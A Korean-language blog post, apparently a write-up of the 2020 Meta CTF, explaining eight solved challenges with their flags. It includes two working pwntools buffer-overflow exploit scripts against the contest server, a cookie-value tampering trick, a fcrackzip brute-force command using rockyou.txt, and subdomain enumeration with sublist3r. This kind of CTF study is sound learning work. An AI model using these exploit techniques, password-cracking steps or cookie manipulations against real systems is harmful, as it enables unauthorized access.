Meta CTF - Writeup

skyepodium·2020년 11월 15일
1
post-thumbnail

10.24 ~ 10.25

Meta CTF 링크

한달 전에 끝난 대회인데, 아직 웹 페이지가 열려 있어서 중요했던 문제들 정리하려고

아 그리고 사이트 UI가 깔끔해서 좋았다. CTF-D 만 보다가 알록달록 해서 색다르고 좋았다.

1. Baffling Buffer 0

버퍼 오버플로우를 활용하는 문제

1) 유형

Exploit

2) 분석

이름 부터가 버퍼 오버플로우 문제입니다.

소스 코드를 보면 8번째 줄 gets에서 입력 바이트에 대한 검사를 하지 않습니다.

여기서 버퍼 오버 플로우를 발생시켜 메모리를 덮어쓰고 최종적으로 5번째줄의 isAuthenticated 변수를 1로 변경합니다.

기드라를 통해 vuln 함수의 스택프레임을 확인합니다.

이를 통해 분석한 vuln 함수의 스택프레임은 다음과 같습니다.

1) 레지스터의 크기
64bit로 컴파일되었기 때문에 레지스터 EBP, RET의 크기는 8바이트 입니다.

2) buf에 60 바이트 이상의 값을 입력하면 스택은 아래로 자라기 때문에 isAuthenticate 영역을 덮었습니다.

3) python2 코드

# -*- coding: utf-8 -*-

# 1. pwntools 임포트
from pwn import *

# 2. 로그를 보기 위해 debug 모드 세팅
context.log_level = 'debug'

# 3. 로컬의 바이너리 정보 확인
elf = ELF('./bb0')

# 4. nc 이용해서 원격 접속
p = remote('host1.metaproblems.com', 5150)

# 5. 메시지 입력
message = p.recvuntil("Enter the access code:")
print('message', message)

# 6. isAuthenticate를 1로 덮어쓰기 위한 변수
# c 언어는 boolean 자료형이 없고, 1이상의 값이면 true로 인식되어서 0만 아니면 전부 가능
value = 0x01

# 7. payload 작성 - 총 64 바이트
# 60 바이트 + 0x01(4 바이트)
# 0x01 값을 리틀 엔디언 64 바이트로 변경합니다.
# 리틀 엔디언은 intel cpu에서 hex 데이터 처리 방법으로 데이터가 뒤집어져서 들어갑니다. AMD에서도 사용합니다.
payload = 'a' * 60 + p64(value)

# 8. 페이로드 전송
p.sendline(payload)

# 9. 결과 확인
result = p.recvall()
print('result', result)

4) 결과

정답: MetaCTF{just_a_little_auth_bypass}

2. Baffling Buffer 1

버퍼 오버 플로우를 또 사용하는 문제

1) 유형

Exploit

2) 풀이

소스코드를 보면 12번째 줄에서 입력 크기에 대한 검사를 하지 않기 때문에 buffer over flow가 발생합니다.

해야할일은 2가지 입니다.
1) buf 입력값을 통해 strcmp 통과하기

2) RET을 win 함수의 주소값으로 덮어쓰기

기드라로 vul 함수의 스택프레임을 확인하면 다음과 같습니다.

이렇게 되면 RET 영역을 win함수의 주소로 덮어쓰면 flag를 읽을 수 있습니다.

strcmp는 문자열의 null 문자 까지 검사합니다.
그렇기 때문에 Sup3rs3cr3tC0de + null + 더미 + win함수 주소로 페이로드를 만듭니다.

win 함수의 주소는 00401172

3) python2 코드

# -*- coding: utf-8 -*-

# 1. pwntools 임포트
from pwn import *

# 2. 로그를 보기 위해 debug 모드 세팅
context.log_level = 'debug'

# 3. 로컬의 바이너리 정보 확인
elf = ELF('./bb1')

# 4. nc 이용해서 원격 접속
p = remote('host1.metaproblems.com', 5151)

# 5. 메시지 입력
message = p.recvuntil("Enter the access code:")
print('message', message)

# 6. isAuthenticate를 1로 덮어쓰기 위한 변수
win_function_address = 0x00401172

# 7. payload 작성 - 총 64 바이트
# Sup3rs3cr3tC0de (15 바이트) + null (1 바이트) + 더미 (40 바이트) + win 함수 주소 (8 바이트)
# 0x00401172 값을 리틀 엔디언 64 바이트로 변경합니다.
# 리틀 엔디언은 intel cpu에서 hex 데이터 처리 방법으로 데이터가 뒤집어져서 들어갑니다. AMD에서도 사용합니다.
payload = "Sup3rs3cr3tC0de" + "\x00" + "a" * 40 + p64(win_function_address)

# 8. 페이로드 전송
p.sendline(payload)

# 9. 결과 확인
result = p.recvall()
print('result', result)

4) 결과

정답: MetaCTF{c_strings_are_the_best_strings}

3. Everyone Loves a Good Cookie

쿠키값 변경하는 문제

1) 유형

Web

2) 풀이

사실, 어려운 문제는 아니다.

아래 처럼 쿠키의 Value를 0 -> 1 로 변경하면된다.

3) 기억해야할 부분

만약에 post로 요청한 후 새로고침을 하면 또 post 요청이 된다.

위 문제에서 submit을 누르면 post 요청이 간다.

flag는 get 요청일때만 나온다.

무슨 말이냐면 다음과 같이 진행하면, 쿠키 값이 안나오는 경우가 발생한다.

submit 눌러서 post 요청 -> 쿠키값 변경 -> 새로 고침 (post 재요청)

뭐, 그렇다구

정답: MetaCTF{oscar_says_i_love_trash_and_cookies}

4. REDACTED

숨셔진 파일을 찾는 문제

1) 유형

Information Hiding

2) 풀이

redacted의 뜻은 검열되었다는 의미인데,

PDF 파일을 열어보면, 다음과 같이 검정색으로 검열된 부분이 나옵니다.

binwalk 로 확인하면 숨겨진 파일 있음을 알 수 있고

foremost 로 분해하면 검열되지 않은 파일을 볼 수 있습니다.

정답: MetaCTF{politics_are_for_puppets}

5. The Last Great ZIP File

fcrackzip 을 이용해서 ZIP 파일의 암호를 푸는 문제

1) 유형

Information Hiding

2) 풀이

다운 받은 ZIP 파일을 열면 암호를 입력하라고 한다.

hex 값 변경해서 가짜로 암호가 있도록 변경한게 아니기 때문에 정말 크랙해야한다.

fcrackzip 이라는 오픈 소스를 사용했고

rockyou.txt 이라는 워드 리스트를 사용했다.

다음과 같이 입력하면 부르트 포스로 암호를 찾는다.

fcrackzip -b -D -p rockyou.txt -u flag.zip

찾은 암호는 Soldat*13

암호를 해제하면 이미지를 얻는다.

4) 결과

정답: MetaCTF{crack_the_planet}

6. Welcome to the Obfuscation Games!

base64 인코딩 문제

1) 유형

Information Hiding

2) 풀이

사이버 쉐프에 입력하면 알아서 해석해준다.

사실, base64 to file 서비스 아무거나 사용하면 .gz 파일을 만들어주고, 압축을 해제하면된다.

그냥 쉐프는 다해줘서 좋아서

3) 결과

정답: MetaCTF{peeling_back_the_flag_one_code_at_a_time}

7. Rot 26

rot 문제

1) 유형

Crypto

2) 풀이

rot13 하나만 사용된게 아니라서 그냥으로는 안나온다.

https://www.dcode.fr/rot-cipher 여기서 모든 조합을 다 해독해준다.

3) 결과

정답: MetaCTF{not_double_rot_13}

8. Complete transparency

서브 도메인을 찾는 문제, sublist3r를 사용했습니다... 뭔가 툴빨러가 되는 기분

1) 유형

Network

2) 풀이

icmpindustries.com 의 서브 도메인을 찾아야 하는데 일반적인 방법으로는 찾기 어려웠습니다.

정확한 원리는 모르지만 sublist3r를 사용했습니다.

원리는 나중에 찾아봐야지

3) 결과

정답: metaCTF{a-transparent-but-not-invisible-flag.icmpindustries.com}

profile
callmeskye

0개의 댓글